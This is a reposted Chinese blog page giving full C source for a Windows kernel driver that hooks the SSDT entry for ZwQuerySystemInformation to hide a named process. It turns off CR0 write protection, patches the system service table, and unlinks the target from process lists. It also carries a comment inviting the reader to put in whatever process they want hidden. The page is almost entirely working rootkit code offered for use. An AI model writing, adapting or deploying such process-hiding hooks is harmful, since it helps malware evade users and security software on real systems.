转载m博客

HOOK SSDT实现进程隐藏(代码)

  1. #include "Driver.h"
  2. #pragma  pack(1)
  3. typedef struct _SSDT_TABLE
  4. {
  5.   PVOID   ServiceTableBase;
  6.   PULONG  ServiceCounterTableBase;
  7.   ULONG   NumberOfService;
  8.   ULONG   ParamTableBase;
  9. }SSDT_TABLE,* PSSDT_TABLE;
  10. #pragma pack()
  11. struct _SYSTEM_THREADS
  12. {
  13.   LARGE_INTEGER           KernelTime;
  14.   LARGE_INTEGER           UserTime;
  15.   LARGE_INTEGER           CreateTime;
  16.   ULONG                           WaitTime;
  17.   PVOID                           StartAddress;
  18.   CLIENT_ID                       ClientIs;
  19.   KPRIORITY                       Priority;
  20.   KPRIORITY                       BasePriority;
  21.   ULONG                           ContextSwitchCount;
  22.   ULONG                           ThreadState;
  23.   KWAIT_REASON            WaitReason;
  24. };
  25. //===================================================
  26. struct _SYSTEM_PROCESSES
  27. {
  28.   ULONG                           NextEntryDelta;
  29.   ULONG                           ThreadCount;
  30.   ULONG                           Reserved[6];
  31.   LARGE_INTEGER           CreateTime;
  32.   LARGE_INTEGER           UserTime;
  33.   LARGE_INTEGER           KernelTime;
  34.   UNICODE_STRING          ProcessName;
  35.   KPRIORITY                       BasePriority;
  36.   ULONG                           ProcessId;
  37.   ULONG                           InheritedFromProcessId;
  38.   ULONG                           HandleCount;
  39.   ULONG                           Reserved2[2];
  40.   VM_COUNTERS                     VmCounters;
  41.   IO_COUNTERS                     IoCounters; //windows 2000 only
  42.   struct _SYSTEM_THREADS          Threads[1];
  43. };
  44. struct _SYSTEM_PROCESSOR_TIMES
  45. {
  46.    LARGE_INTEGER          IdleTime;
  47.    LARGE_INTEGER          KernelTime;
  48.    LARGE_INTEGER          UserTime;
  49.    LARGE_INTEGER          DpcTime;
  50.    LARGE_INTEGER          InterruptTime;
  51.    ULONG              InterruptCount;
  52. };
  53. //======================================================
  54. typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
  55.    IN ULONG SystemInformationClass,
  56.    IN PVOID SystemInformation,
  57.    IN ULONG SystemInformationLength,
  58.    OUT PULONG ReturnLength);
  59. NTSTATUS MyZwQuerySystemInformation(
  60.    IN ULONG SystemInformationClass,
  61.    IN PVOID SystemInformation,
  62.    IN ULONG SystemInformationLength,
  63.    OUT PULONG ReturnLength);
  64. //定义全局变量
  65. extern "C" extern PSSDT_TABLE  KeServiceDescriptorTable;
  66. ULONG  OldAddress;
  67. ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
  68. PVOID Base;
  69. //函数申明
  70. VOID DisplayItsProcessName()
  71. {
  72.         PEPROCESS Peprocess = PsGetCurrentProcess();
  73.         PTSTR ProcessName = (PTSTR)((ULONG)Peprocess+0x174);
  74.         KdPrint(("The Process :%s/n",ProcessName));
  75. }
  76. void UnHook();
  77. VOID Unload (IN PDRIVER_OBJECT pDriverObject)
  78. {
  79.         KdPrint(("Enter DriverUnload/n"));
  80.         UnHook();                                               // mark
  81. }
  82. NTSTATUS MyZwQuerySystemInformation(
  83.      IN ULONG SystemInformationClass,
  84.      IN PVOID SystemInformation,
  85.      IN ULONG SystemInformationLength,
  86.      OUT PULONG ReturnLength) //定义自己的Hook函数
  87. {
  88.    NTSTATUS rc;
  89.    UNICODE_STRING process_name;
  90.    RtlInitUnicodeString(&process_name, L"taskmgr.exe");//改成自己要隐藏进程
  91.    rc = (OldZwQuerySystemInformation) (
  92.      SystemInformationClass,
  93.      SystemInformation,
  94.      SystemInformationLength,
  95.      ReturnLength);
  96.   
  97.    if(NT_SUCCESS(rc))
  98.    {
  99.      if(5 == SystemInformationClass)
  100.      {
  101.        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
  102.        struct _SYSTEM_PROCESSES *prev = NULL;
  103.        if(curr->NextEntryDelta)
  104.                 curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  105.        while(curr)
  106.        {
  107.         
  108.                                 if (RtlEqualUnicodeString(&process_name, &curr->ProcessName, 1))
  109.          {
  110.                                   KdPrint(("hide process'name taskmgr.exe"));
  111.            if(prev)
  112.            {
  113.              if(curr->NextEntryDelta)
  114.              {
  115.                prev->NextEntryDelta += curr->NextEntryDelta;
  116.              }
  117.              else
  118.              {
  119.                prev->NextEntryDelta = 0;
  120.              }
  121.            }
  122.            else
  123.            {
  124.              if(curr->NextEntryDelta)
  125.              {
  126.                SystemInformation =(PVOID)((ULONG)SystemInformation + curr->NextEntryDelta);
  127.              }
  128.              else
  129.              {
  130.                SystemInformation = NULL;
  131.              }
  132.            }
  133.            if(curr->NextEntryDelta)
  134.                            curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  135.            else
  136.            {
  137.              curr = NULL;
  138.              break;
  139.            }
  140.          }
  141.          if(curr != NULL)
  142.          {
  143.            prev = curr;
  144.            if(curr->NextEntryDelta)
  145.                            curr = (_SYSTEM_PROCESSES *)((ULONG)curr + curr->NextEntryDelta);
  146.            else curr = NULL;
  147.          }
  148.        }
  149.      }
  150.    }
  151. KdPrint(("HookZwQuerySystemInformation is Succeessfully.... /n"));
  152. DisplayItsProcessName();
  153. return rc;
  154. }
  155. VOID Hook()
  156. {
  157.         DbgPrint("Entry Hook()/n");
  158.         OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反汇编查到zwquerysysteminformationde
  159.                                                                                                                                                                                       //的ID号是0xADh
  160.         DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x/n",KeServiceDescriptorTable->ServiceTableBase);
  161.         //保存原来函数的地址
  162.         OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
  163.   DbgPrint("OldZwQuerySystemInformation is :0x%0x/n", OldZwQuerySystemInformation);
  164.   DbgPrint("MyZwQuerySystemInformation is :0x%0x/n", MyZwQuerySystemInformation);
  165.    //取消内存写保护
  166.   _asm
  167.   {
  168.     cli
  169.    
  170.       mov  eax,cr0  
  171.       and  eax,not 10000h
  172.       mov  cr0,eax
  173.       
  174.   }
  175.   
  176.        
  177.         *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;       //mark   MyZwQuerySystemInformation;
  178.   
  179.   //还原内存写保护
  180.   _asm
  181.   {  
  182.   
  183.     mov  eax,cr0
  184.       or   eax,10000h
  185.       mov  cr0,eax
  186.       sti
  187.   
  188.   
  189.   }
  190. }
  191. void UnHook()
  192. {
  193.   ULONG  Address;
  194.   
  195.   Address =(ULONG) KeServiceDescriptorTable->ServiceTableBase +0xAD*4;
  196.   
  197.   __asm{
  198.     cli
  199.       mov  eax,cr0
  200.       and  eax,not 10000h
  201.       mov  cr0,eax
  202.   }
  203.    
  204.   *(ULONG*)Address =(ULONG) OldZwQuerySystemInformation;
  205.   
  206.   __asm{  
  207.     mov  eax,cr0
  208.       or   eax,10000h
  209.       mov  cr0,eax
  210.       sti
  211.   }
  212.   
  213.   DbgPrint("Unhook leave!/n");
  214.   
  215. }
  216.   
  217. //========================驱动入口函数
  218. extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT  pDriverObject, IN PUNICODE_STRING  pRegistryPath)
  219. {
  220.   DbgPrint("Entry Hook Function!/n");
  221.         pDriverObject->DriverUnload = Unload;
  222.        
  223.         Hook();
  224.   
  225.   DbgPrint("Leave DriverEntry!/n");
  226.   
  227.         return STATUS_SUCCESS;
  228.   
  229. }
复制代码

XPSP3 WDK 顺利通过~

 

原文地址 http://www.cppblog.com/sleepwom/archive/2009/10/24/99375.aspx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值